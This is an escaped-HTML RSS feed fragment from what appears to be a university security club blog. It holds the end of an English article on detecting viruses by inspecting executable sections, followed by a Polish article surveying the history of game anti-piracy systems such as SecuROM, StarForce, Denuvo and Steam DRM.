&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Done!&lt;/p>
&lt;p>We can compile and run it just like before:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$: x86_64-w64-mingw32-gcc -o inspect.exe inspect.c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$: wine ./inspect.exe suspicious-file.exe&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>And it should print all sections, as well as warn us about that file.&lt;/p>
&lt;h3>Applications&lt;span class="hx:absolute hx:-mt-20" id="applications">&lt;/span>
&lt;a href="#applications" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Modern viruses usually don&amp;rsquo;t create new sections, since that&amp;rsquo;s very easy to spot. They hide their code in empty space or sometimes even forego the &amp;ldquo;trojan horse&amp;rdquo; aspect and overwrite the file&amp;rsquo;s original code. The purpose of this article was not to give a method of defence against viruses and even more so not to help bad actors in virus development; it was to, in an easy and approachable way, help understand the inner workings of this very common type of malware.&lt;/p>
&lt;p>As the saying goes, &amp;ldquo;Give a Man a Fish, and You Feed Him for a Day. Teach a Man To Fish, and You Feed Him for a Lifetime&amp;rdquo;. This article strives to do exactly that: not give virus hashes to defend against current threats, but give the understanding of virus operation to create safer environments for a long while.&lt;/p></description></item><item><title>Systemy antypirackie w grach</title><link>https://whitehats.pwr.edu.pl/blog/2025-12-29-anti-piracy/</link><pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-12-29-anti-piracy/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2025-12-29-anti-piracy/background_hu_b89c860e1f26f94f.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;h2>Wstęp&lt;span class="hx:absolute hx:-mt-20" id="wstęp">&lt;/span>
&lt;a href="#wst%c4%99p" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Czy to przez niedostępność danego tytułu,
krzywdzące przeliczanie waluty, chęć zamanifestowania swego rodzaju stanowiska, czy zwykłą niechęć do wydawania pieniędzy, piracenie
gier komputerowych istnieje od samego początku gamingu. Z dużą
dozą pewności można również stwierdzić, że będzie istniało również w przyszłości. Mało kto jednak
pobierając najnowszy zcrackowany tytuł Bethesdy, strzelankę od Activision albo soulslike&amp;rsquo;a
od From Software, zadaje sobie pytania o to, jak dokładnie wygląda proces tworzenia
nielegalnych kopii oraz w jaki sposób twórcy sobie z nim radzą. Warto zaznaczyć, że artykuł
ma charakter czysto informacyjny i nie namawia do żadnych nielegalnych akcji - służy jedynie
jako medium przybliżające nieustającą walkę między twórcami zabezpieczeń do gier wideo
(i nie tylko), a crackerami.&lt;/p>
&lt;h2>Najpopularniejsze zabezpieczenia antypirackie&amp;hellip; i ich obejścia&lt;span class="hx:absolute hx:-mt-20" id="najpopularniejsze-zabezpieczenia-antypirackie-i-ich-obejścia">&lt;/span>
&lt;a href="#najpopularniejsze-zabezpieczenia-antypirackie-i-ich-obej%c5%9bcia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Przejdziemy kolejno przez wszystkie etapy rozwoju branży:
zaczynając od lat 80 i wydanego wtedy ZX Spectrum, przez erę namiętnego wykorzystywania i
ewolucji płyt CD i DVD, a kończąc na obecnej erze uciążliwych DRMów i systemów
always-online.&lt;/p>
&lt;h2>Wymaganie posiadania oryginalnych fizycznych dodatków do gry i pierwsze komputery osobiste&lt;span class="hx:absolute hx:-mt-20" id="wymaganie-posiadania-oryginalnych-fizycznych-dodatków-do-gry-i-pierwsze-komputery-osobiste">&lt;/span>
&lt;a href="#wymaganie-posiadania-oryginalnych-fizycznych-dodatk%c3%b3w-do-gry-i-pierwsze-komputery-osobiste" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wydawany od 1982 roku przez angielską firmę Sinclair Research, 8-bitowy komputer
domowy ZX Spectrum osiągnął spektakularny sukces sprzedażowy, zyskując tytuł najlepiej
sprzedającego się komputera w rodzimej Wielkiej Brytanii. Nie dziwi więc fakt, że kiedy trafił na
niego przełomowy tytuł Manic Miner, który nie posiadał żadnych dedykowanych
zabezpieczeń, to był on kopiowany na masową skalę. Jednak niniejszy artykuł opowiada o
zabezpieczeniach do gier. Czemu więc Manic Miner został wspomniany? Ponieważ twórca gry – Matthew
Smith zadbał o lepszą (w sensie jakąkolwiek) ochronę przy okazji swojego kolejnego
projektu.
&lt;br>
&lt;br>&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Kolejną grą Smitha było Jet Set Willy&lt;/i>&lt;/figcaption>
&lt;img src="./Jet-Set-Willy.jpg" alt="Jet Set Willy">
&lt;figcaption style="text-align:center">&lt;i>https://tvandfilmstuff.co.uk/wp-content/uploads/2023/05/Jet-Set-Willy.jpg&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Jet Set Willy (swoją drogą, kontynuacja Manic Miner) wymagał od gracza podania konkretnych słów z instrukcji, której osoba z piracką wersją nie miała (chyba że posiadała kartkę i długopis albo, nie daj Boże, legendarną moc fotokopii). Rozwiązanie ,,na papierze&amp;quot; było dobre, ale w praktyce, jeżeli ktoś nie chciał cały czas uwierzytelniać produktu, mógł dokonać kilku zmian w kodzie gry i całkowicie wyeliminować zabezpieczenie. Niedługo miało się jednak zrobić dla crackerów dużo bardziej problematycznie i zależnie od rozwiązania również dla graczy.&lt;/p>
&lt;p>System Speedlock robił coś, co z perspektywy czasów obecnych wydaje się być utopijnym
marzeniem. Był to bowiem system utrudniający życie crackerom, mogący oszczędzić środki
wydawcom, jednocześnie ułatwiający życie graczom. W 1984 roku w grze Daley
Thompson&amp;rsquo;s Decathlon po raz pierwszy użyto systemu Speedlock, który ładował treść dużo
szybciej od zwykłego loadera ZX Spectrum, przy okazji sprawdzając, czy nie ładuje się
wolniej. Twórcy założyli, że system ładujący ponad 150% powyżej normalnej prędkości nie
będzie się niezawodnie kopiował przy wielokrotnym przepisywaniu kaset przez zwykły magnetofon, a przez większą szybkość, gra potrzebowałaby mniej taśmy. Problematyczne jednak było to, że przez specyfikę działania systemu nawet oryginalne taśmy nie zawsze
osiągały wymaganą prędkość, co sprawiało problemy graczom. Finalnie piratom udało
się to obejść odpowiednio spowalniając prędkość zapisu. Był to więc miecz obosieczny, ale
wspominany dużo lepiej od kolejnej pozycji.&lt;/p>
&lt;p>Wypuszczony w 1985 Lenslok był na tyle płaski, że mieścił się do pudełka z kasetą z grą.
Sam mechanizm był dość prosty: rząd pryzmatów w plastikowej ramie, który po spojrzeniu
przezeń pozwalał na odczytanie kodu weryfikacji do danego tytułu. Kod był bowiem
podzielony na paski, a tylko z Lenslokiem układały się one odpowiednio i dawały odczytać.
Problemem tego rozwiązania było jednak to, że nie działało ono na zbyt dużych czy zbyt
małych telewizorach albo sprawiało trudności osobom z astygmatyzmem.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Lenslok - plastikowa ramka z pryzmatami&lt;/i>&lt;/figcaption>
&lt;img src="./lenslok.png" alt="Jet Set Willy">
&lt;figcaption style="text-align:center">&lt;i>https://user-images.githubusercontent.com/50949/105728823-7ae19e80-5f24-11eb-91d6-ffcfa36f5a70.png&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Odchodząc od ery gier kasetowych, wkroczmy w świat dyskietek. Trzy lata po wypuszczeniu ZX
Spectrum swój debiut miał 16 bitowy Commodore Amiga. Sprzęt dużo bardziej imponujący
względem bebechów, a co za tym idzie droższy, ale również stawiający większy opór
piratom. Zacznijmy od samego nośnika: kasety taśmowe zastąpiono dyskietkami, mającymi
większą pojemność i bardziej rozbudowane możliwości zapisu. Standardowe nagrywarki
zazwyczaj zapisywały dane na 80 ścieżkach (0-79), natomiast zostawiały mały pusty
margines na samym końcu, co twórcy zaczęli wykorzystywać. Mogli posłużyć się droższym sprzętem
i zapisać tam, np. dane weryfikacyjne (miejsce dostępne na marginesie było 81 ścieżką). W ten
sposób działał stworzony przez Roba Northena Copylock, uniemożliwiając zapis danych
weryfikacji przy użyciu zwykłego domowego sprzętu. Inne sztuczki wykorzystujące specyfikę
zapisu na kasetach obejmowały zapis na długich ścieżkach (więcej niż 11 sektorów) czy pół
ścieżkach kończących zapis w połowie sektora.
Działający z Copylockiem, choć stworzonym trochę przed tym zabezpieczeniem, był Trace
Vector Decoder. TVD to technika wykorzystująca tryb śledzenia procesora Motorola 68000.
Deszyfrował kod maszynowy &amp;lsquo;just-in-time&amp;rsquo; przed wykonaniem i re-szyfrował po wykonaniu,
więc w pamięci znajdowały się maksymalnie jedna lub dwie odszyfrowane instrukcje.
Warto zaznaczyć, że droga od kaset do dyskietek to nie tylko kwestia pojemności. Kasety
magnetyczne można było kopiować z funkcją dubbing, którą posiadała większość
gospodarstw domowych. Dyskietki wymagały drugiego napędu lub specjalistycznego
oprogramowania, takiego jak X-Copy, co podnosiło próg wejścia dla piratów - nieznacznie, bo
grupy crackerskie szybko się dostosowały.&lt;/p>
&lt;h2>Era płyt CD i systemów DRM&lt;span class="hx:absolute hx:-mt-20" id="era-płyt-cd-i-systemów-drm">&lt;/span>
&lt;a href="#era-p%c5%82yt-cd-i-system%c3%b3w-drm" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Lata 90. przyniosły światu popularyzację formatu CD-ROM (standardu stworzonego w 1985
roku), co doprowadziło do sprzedaży pierwszych gier na tym nośniku. Jak nietrudno się domyślić, ogromna
pojemność płyty rozbudzała wyobraźnię zarówno twórców gier, jak i graczy. Wyobraźcie
sobie skok z 1,44 MB na dyskietce do 650-700 MB na CD - niemal 500 razy więcej miejsca!
Po raz kolejny jednak okazało się, że rynek nielegalnych kopii bardzo chętnie położy łapy na
źle zabezpieczonych (o ile w ogóle) tytułach. Studia tworzące gry ruszyły więc z ofensywą.&lt;/p>
&lt;p>Termin &amp;ldquo;Digital Rights Management&amp;rdquo; ukuto na przełomie wieków - wcześniejsze
zabezpieczenia jak code wheels czy Copylock pełniły przecież podobną rolę, ale nie
nazywano ich jeszcze DRM-ami. Obecnie systemy te są kojarzone bardzo negatywnie, bo
według wielu osób godzą bardziej w legalnych odbiorców niż w piratów - co łatwo zrozumieć
patrząc na poniższe przykłady. Zanim jednak przejdziemy dalej, warto wspomnieć, że DRM-y
nie służą wyłącznie do ochrony gier, ale ogólnie dóbr cyfrowych - stąd nazwa Digital Rights
Management (zarządzanie prawami cyfrowymi), ale po kolei.&lt;/p>
&lt;h2>SecuROM&lt;span class="hx:absolute hx:-mt-20" id="securom">&lt;/span>
&lt;a href="#securom" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Stworzony w 1998 roku przez Sony SecuROM był jednym z pierwszych znienawidzonych
zabezpieczeń uznawanych za DRM, głównie dlatego, że utrudniał życie regularnym
użytkownikom, jednocześnie nie będąc specjalnie uciążliwym dla piratów.
W swoich założeniach SecuROM podnosił poprzeczkę już w warstwie fizycznej danej gry.
Specjalny klucz umieszczany był na nośniku w taki sposób, żeby nie dało się go łatwo
skopiować powszechnie dostępnymi metodami. Dokładniej mówiąc, Sony podczas
produkcji nośników nanosiło w 24 sektorach podkanału Q dysku błędy poprzez użycie
operacji XOR z wartościami 0x0080 albo 0x8001. Te zmiany były na tyle duże, żeby dało się
je wykryć, jednocześnie pozostając niedostępnymi dla powszechnych rozwiązań.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Jedną z pierwszych gier zawierających SecuROM był wydany w 1998 roku Need for Speed III: Hot Pursuit&lt;/i>&lt;/figcaption>
&lt;img src="./nfs-hp.jpg" alt="Need for Speed III: Hot Pursuit">
&lt;figcaption style="text-align:center">&lt;i>https://images.pcgamingwiki.com/d/db/Need_for_Speed_III_Hot_Pursuit_cover.jpg&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Przynajmniej tak to wyglądało w pierwszych wersjach. Od wersji 4.8 SecuROM zaczął
korzystać z różnicy gęstości zapisu na dysku. Korzystając z technologii DPM (Data Position
Measurement), dało się rozróżnić, czy zapis na dysku był oryginalny (dyski tworzone masowo
przez Sony miały tą samą gęstość zapisu w konkretnych sektorach, podczas gdy kopie
podatne były na wahania).
Powyżej opisane techniki to techniki sprawdzania autentyczności dysku - znienawidzona
część SecuROM związana natomiast jest z aktywacją produktu.
SecuROM był w tej kwestii bezlitosny i na początku trochę uciążliwy. W pierwszej dekadzie
XXI wieku dostęp do internetu nie był jeszcze powszechny, irytować więc mogła
konieczność połączenia z internetem w celu weryfikacji. Po połączeniu z serwerem,
pobierany był klucz przechowywany w plikach i rejestrach systemu (konkretniej mówiąc, w
&lt;code>C:\ProgramData\SecuROM&lt;/code> i &lt;code>KEY_LOCAL_MACHINE\Software\SecuROM&lt;/code>), a program
pozwalał na jego użycie na określonej liczbie komputerów. To, co na pierwszy rzut oka
wygląda na sensowny pomysł, w połączeniu z małą tolerancją na zmiany sprzętu,
powodowało, że wymiana procesora lub karty graficznej wykorzystywała jedną z (często
ograniczonych) licencji gry. Wśród innych ciekawych rzeczy, które powodowały
uruchomienie się zabezpieczenia, były np. reinstalacja systemu czy nawet jego aktualizacje
modyfikujące konkretne pliki .dll.
Najgłośniejszym tego przykładem jest najczęściej piracona gra roku 2008, Spore.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Spore - najczęściej piracona gra 2008 roku&lt;/i>&lt;/figcaption>
&lt;img src="./spore.jpg" alt="Jet Set Willy">
&lt;figcaption style="text-align:center">&lt;i>https://media.contentapi.ea.com/content/dam/gin//assets/images/posts/anti-piracy/2022/02/spore-game-art-16x9.jpg.adapt.crop1x1.767p.jpg&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Sympatyczny symulator ewolucji firmy Maxis w momencie premiery pozwalał na jedynie 3 użycia
licencji z grą (limit zwiększono potem do 5), dodając do tego 10-dniowy czas oczekiwania na
odnowę licencji. Nie dziwi więc, że na Amazonie Spore miało jedyne 2.1 na 5 gwiazdek - głównym
powodem negatywnych recenzji była, a jakże, niewybaczająca implementacja DRM. W tej
sprawie poszedł nawet pozew do Electronic Arts, który jednak udało się zakończyć ugodą w
sądzie. Ostatecznie, Spore zostało najczęściej piraconą grą 2008, w dużej mierze przez
osoby posiadające legalną kopię, ale które przez skopane zabezpieczenia nie mogły się
cieszyć nabytymi tytułami.
SecuROM posiadał także szereg innych wątpliwych praktyk, takich jak: korzystanie z
najniższego poziomu dostępu w systemie Windows (Ring 0), trudności w usunięciu
programu czy nawet powodowanie awarii napędów CD, ale to już wisienka na torcie.&lt;/p>
&lt;h2>StarForce&lt;span class="hx:absolute hx:-mt-20" id="starforce">&lt;/span>
&lt;a href="#starforce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Kolejnym głośnym zabezpieczeniem o złej sławie był StarForce stworzony dla Windowsa przez
rosyjskie Protection Technologies. Wystarczy tylko spojrzeć na sposób działania
StarForce i nietrudno się domyślić, dlaczego gracze byli niepochlebnie do niego nastawieni.
Po pierwsze, po uruchomieniu gry, jeżeli StarForce jeszcze nie był obecny na systemie,
instaluje się, tzn. instalowany jest sterownik sfdrv01.sys, który odpowiada za
przechwytywanie informacji z czytników dysków optycznych. Działało to poprzez resetowanie
kanału IDE, pojawiało się jednak kilka problemów - na przykład to, że reset tego kanału
zatrzymywał wszystkie aktualnie działające procesy na tych urządzeniach (np. czytnikach czy
nawet dyskach, jeżeli były na tym samym kanale). Wynikało to ze specyfiki działania standardu
IDE, działał on na zasadzie magistrali, a reset jednego urządzenia resetował też resztę - co
samo w sobie jest problemem. Była jednak jeszcze druga rzecz. System Windows zazwyczaj operuje
na przerwaniach DMA (Direct Memory Access), dzięki temu peryferia w sposób
nieblokujący mogą informować procesor o różnych ważnych rzeczach, takich jak ukończenie
konkretnych zadań, odebranie danych itp. Nie jest to jedyny tryb działania tych urządzeń,
ponieważ istnieje też PIO (Programmed Input/Output). W trybie PIO procesor indywidualnie
zarządza dostępem do pamięci kolejnych urządzeń, co jest dużo wolniejsze. Windows przy
starcie systemu zazwyczaj negocjuje od razu przejście na szybkie DMA, jednakże jeżeli
jakieś peryferium jest niestabilne, to po 6 incydentach przełącza je w tryb PIO. Takim
incydentem jest reset urządzenia. Podsumowując, po 6 resetach - np. 5 spowodowanych
przez StarForce i jedno zupełnie przypadkowe - urządzenie wchodziło w dużo wolniejszy tryb
działania.
To tyle, jeżeli chodzi o działania powstrzymujące ingerowanie w dysk. Co do
innych zabezpieczeń StarForce, to kwestie uwierzytelnienia dysku zależne były od wersji - w
jednym przypadku trzeba było ręcznie wpisać kod umieszczony np. na płycie, a system
porówna go z parametrami fizycznymi dysku (wcześniej wspomniany DPM - Data Position
Measurement). W drugim przypadku, tego typu zabezpieczenie jest obecne bezpośrednio
na płycie, pomijając konieczność ręcznego wpisywania kodu przez użytkownika.
Potem do tego został dorzucony sposób ProActive, który pozwalał na weryfikację online.
Wystarczyło włożyć płytę do napędu, połączyć się z internetem, co uruchamiało generowanie klucza na
bazie hardware&amp;rsquo;u, a potem już płyta nie była potrzebna.
Do tego StarForce używał metod obfuskacji kodu i wykrywania, czy gra nie jest uruchomiona
na maszynie wirtualnej. Poza wcześniej opisanym problemem z dyskami niepokojące było
też to, że program działał w najniższym pierścieniu zabezpieczeń Windowsa (Ring 0), co było
oczywistym zagrożeniem dla bezpieczeństwa systemu.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Splinter Cell: Chaos Theory bronił się przed crackowaniem 422 dni&lt;/i>&lt;/figcaption>
&lt;img src="./splinter-cell-chaos-theory.jpg" alt="Jet Set Willy">
&lt;figcaption style="text-align:center">&lt;i>https://store.steampowered.com/app/13570/Tom_Clancys_Splinter_Cell_Chaos_Theory&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Ogólnie mówiąc StarForce był skutecznym DRM’em, przykładem może być chociażby gra
Splinter Cell: Chaos Theory, która opierała się atakom przez 422 dni po premierze, ale
graczom daleko było do miłości do niego.&lt;/p>
&lt;h2>Denuvo&lt;span class="hx:absolute hx:-mt-20" id="denuvo">&lt;/span>
&lt;a href="#denuvo" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Stworzone przez dawnych pracowników Sony, pracujących przy SecuROM, Denuvo
zadebiutowało w 2014 roku przy okazji wydania FIFA 15. Technologia ta w swoich
założeniach różni się od innych DRMów tym, że zamiast ograniczać dostęp do danej
własności intelektualnej, jest raczej narzędziem zapobiegającym ingerowanie w nią (ang.
anti-tampering). Denuvo działa poprzez ciągłe wykonywanie operacji kryptograficznych,
sprawdzających, czy dany tytuł nie został nijak naruszony i czy naprawdę należy do
grającego. Tak zaimplementowane rozwiązanie faktycznie znacząco wydłuża czas
potrzebny do crackowania gry, ale jednocześnie znacząco wpływa na czasy ładowania,
liczbę klatek na sekundę, zużycie procesora itp. Dla przykładu, dyrektor Tekkena 7 (i innych
instancji serii), Katsuhiru Harada, otwarcie przyznał, że przez szyfrowanie stosowane przez
Denuvo niektóre ataki powodują spadek liczby klatek.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Denuvo zostało otwracie skrytykowane przez dyrektora produkcyjnego Tekkena 7&lt;/i>&lt;/figcaption>
&lt;img src="./tekken7.jpg" alt="Jet Set Willy">
&lt;figcaption style="text-align:center">&lt;i>https://image.api.playstation.com/vulcan/img/rnd/202111/1213/djtqEqWCXcKmwUhM6qdUIFnJ.jpg&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Trudności w łamaniu Denuvo rzuciły cień strachu na społeczność piratów, ale pozwoliły też
na stworzenie legendy sceny hakerskiej - Empress. Była ona (mówiła o sobie, że jest rosyjską
crackerką) o tyle wyjątkowa, że jako jedyna była w stanie regularnie wypuszczać cracki
gier zabezpieczonych Denuvo (tzn. była najbardziej medialną pojedynczą osobą, która to
robiła, inne ekipy crackerskie też dowoziły), co doprowadziło do jej kultu, a w konsekwencji
do narodzenia się u niej kompleksu Boga. Z jej ekspertyzy wynikało, że Denuvo jest trudne
do złamania przez ilość technik wprowadzonych w celu zmylenia potencjalnych atakujących.
Jej gwiazda jednak szybko zaczęła gasnąć, kontrowersje budziło zwłaszcza żądanie
pieniędzy za crackowanie konkretnych tytułów (zazwyczaj 500$). Po serii zawieszania i
wznawiania działalności (według jej samej miała nawet zostać aresztowana) Empress
zakończyła działalność pod koniec 2023 roku. A przynajmniej miała, bo według jej
prywatnych DMów planowała powrót w 2025 roku.
Obecnie Denuvo, jeżeli występuje, dalej jest sporym utrudnieniem dla piratów - osoby
udostępniające spiracone tytuły nie robią tego dla korzyści finansowej, dlatego tym bardziej
mniej oczekiwane tytuły przez dłuższe okresy wytrzymują próbę czasu i nie zostają złamane.
Wystarczy zresztą spojrzeć na strony takie jak Crackwatcher, żeby zobaczyć, że znaczna
część wciąż niezłamanych tytułów jest zabezpieczona właśnie Denuvo.
Oprócz problemów dotyczących typowo wydajności gier, Denuvo miało też parę wpadek
innej natury. Weźmy na tapet incydent z 7 listopada 2021 roku, kiedy to pojawił się problem z dostępnością
domeny (nie została ona w porę przedłużona). Doprowadziło to do chwilowej niesprawności
sporej ilości tytułów takich jak Yakuza: Like a Dragon, Persona 4 Golden, Mad
Max i dużo więcej.
Ostatecznie jednak, niektórzy twórcy i wydawcy decydują się na usunięcie Denuvo z ich
produktów na parę miesięcy po premierze, kiedy to produkt jest blisko kresu swojego życia
,,półkowego&amp;quot; - dla przykładu Devil May Cry 5 zostało go pozbawione około rok po premierze,
co spowodowało zwiększenie liczby klatek (niektórzy użytkownicy raportowali wzrost aż o
25%), skrócenie czasów ładowania, a także sporą aprobatę ze strony graczy.&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>Wydawca Devil May Cry 5 podjął decyzje o usunięciu Denuvo z gry około rok po premierze, co przyczyniło się do zmniejszego zużycia zasobów przez tytuł&lt;/i>&lt;/figcaption>
&lt;img src="./dmc5.jpg" alt="Devil May Cry 5">
&lt;figcaption style="text-align:center">&lt;i>https://i.ytimg.com/vi/KMSGj9Y2T9Q/maxresdefault.jpg&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;p>Denuvo wciąż jest systemem trudnym do obejścia, więc nadążenie za każdym tytułem nie jest możliwe, choć
odpowiednio doświadczona grupa osób jest w stanie je przełamać. Zgadza się to również z
filozofią rozwiązania - twórcy wychodzili z założenia, że piractwo jest szczególnie dotkliwe dla
tytułu, jeżeli następuje w okolicach pierwszych 30 dni obecności gry na rynku. Celem Denuvo
jest więc nie tyle całkowite ukrócenie piractwa, co raczej jego opóźnienie. Z tego też
powodu wydawcy często po paru miesiącach usuwają ten DRM ze swoich tytułów, co
pozwala na zwiększenie wydajności.&lt;/p>
&lt;h2>Steam DRM&lt;span class="hx:absolute hx:-mt-20" id="steam-drm">&lt;/span>
&lt;a href="#steam-drm" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Korzystanie z powyższych rozwiązań wiąże się jednak z koniecznością zapłaty za nie
firmom trzecim. W związku z tym część twórców decyduje się na użycie rozwiązań
wbudowanych w platformy, z których korzystają. Jednym z takich przypadków jest DRM
dostarczany przez Steam.
Platforma Steam w swojej ofercie ma co prawda gry z zewnętrznymi systemami DRM, takimi
jak Denuvo (są nawet specjalne grupy i użytkownicy kompilujący gry z Denuvo w listy), a
samo Valve w swoich zaleceniach mówi o tym, że lepiej używać ich rozwiązania wraz z
innymi tego typu. Sam DRM jest częścią Steamworks, który w skrócie jest zestawem
narzędzi pozwalających na integrację gier z platformą Steam - pozwala to na dodanie
osiągnięć, zapisu w chmurze itp.
Steam oferuje deweloperom dwa główne rozwiązania DRM. Prostszym z nich jest Steam
Stub (nazywany również Steam DRM Wrapper), który w swoim działaniu sprawdza, czy
Steam jest uruchomiony oraz czy użytkownik, który uruchamia grę, faktycznie ją posiada.
Całość została poddana obfuskacji, ale jak oficjalnie przyznaje Valve, dla osoby chcącej się
jej pozbyć, nie będzie to stanowiło dużego wyzwania - Steam Stub chroni jedynie przed
,,ekstremalnie przypadkowym piractwem&amp;quot;, takim jak skopiowanie plików gry na inny
komputer.
Steam Stub zawiera również zabezpieczenia przed manipulacją kodem gry, takie jak
sprawdzanie sum kontrolnych, obfuskację i opcjonalne szyfrowanie kodu. Nowsze wersje
zawierają także wykrywanie debuggera - system sprawdza, czy debugger jest obecny
(używając &lt;code>IsDebuggerPresent()&lt;/code>), oraz ukrywa wątki przed debuggerem za pomocą
wywołania NtSetInformationThread.
Bardziej zaawansowanym rozwiązaniem jest CEG (Custom Executable Generation), które
tworzy unikalną kopię pliku wykonywalnego gry dla każdego użytkownika. Gdy użytkownik
instaluje grę chronioną CEG, serwer Steam zbiera informacje jednoznacznie identyfikujące
jego komputer i na tej podstawie generuje spersonalizowany plik wykonywalny. Co ważne,
CEG pozostaje przyjazne dla użytkownika - nie nakłada limitów instalacji, pozwala grać na
wielu komputerach, a jeśli użytkownik zmieni konfigurację sprzętu na tyle, że weryfikacja by
zawiodła, system automatycznie wygeneruje nowy plik wykonywalny.
Warto jednak zauważyć, że na platformach cyfrowej dystrybucji, takich jak Steam, Origin,
Epic Games Store itp., twórcy często korzystają z kolejnej warstwy ochrony, jaką są
rozwiązania typu anti-cheat. Taki na przykład Easy Anti-Cheat jest narzędziem blokującym
cheaty oraz mody, ale podobnie jak np. StarForce wzbudza wątpliwości swoim dostępem do
jądra systemu (Ring 0).&lt;/p>
&lt;figure>
&lt;figcaption style="text-align:center">&lt;i>W grze Elden Ring, wyprodukowanej przez FromSoftware, tryb online jest dostępny tylko przy działającym rozwiązaniu Easy Anti-Cheat&lt;/i>&lt;/figcaption>
&lt;img src="./elden-ring.jpg" alt="Devil May Cry 5">
&lt;figcaption style="text-align:center">&lt;i>https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/1245620/header.jpg?t=1748630546&lt;/i>&lt;/figcaption>
&lt;/figure>
&lt;h2>Podsumowanie (części pierwszej)&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie-części-pierwszej">&lt;/span>
&lt;a href="#podsumowanie-cz%c4%99%c5%9bci-pierwszej" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W kwestii zabezpieczeń komputerów osobistych to by było na tyle, ale jeżeli macie ochotę
poznać kulisy walki Nintendo, Sony i Microsoftu z piratami to warto zajrzeć na naszą stronę
za jakiś czas, na drugą część artykułu.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/ZX_Spectrum"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/ZX_Spectrum&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
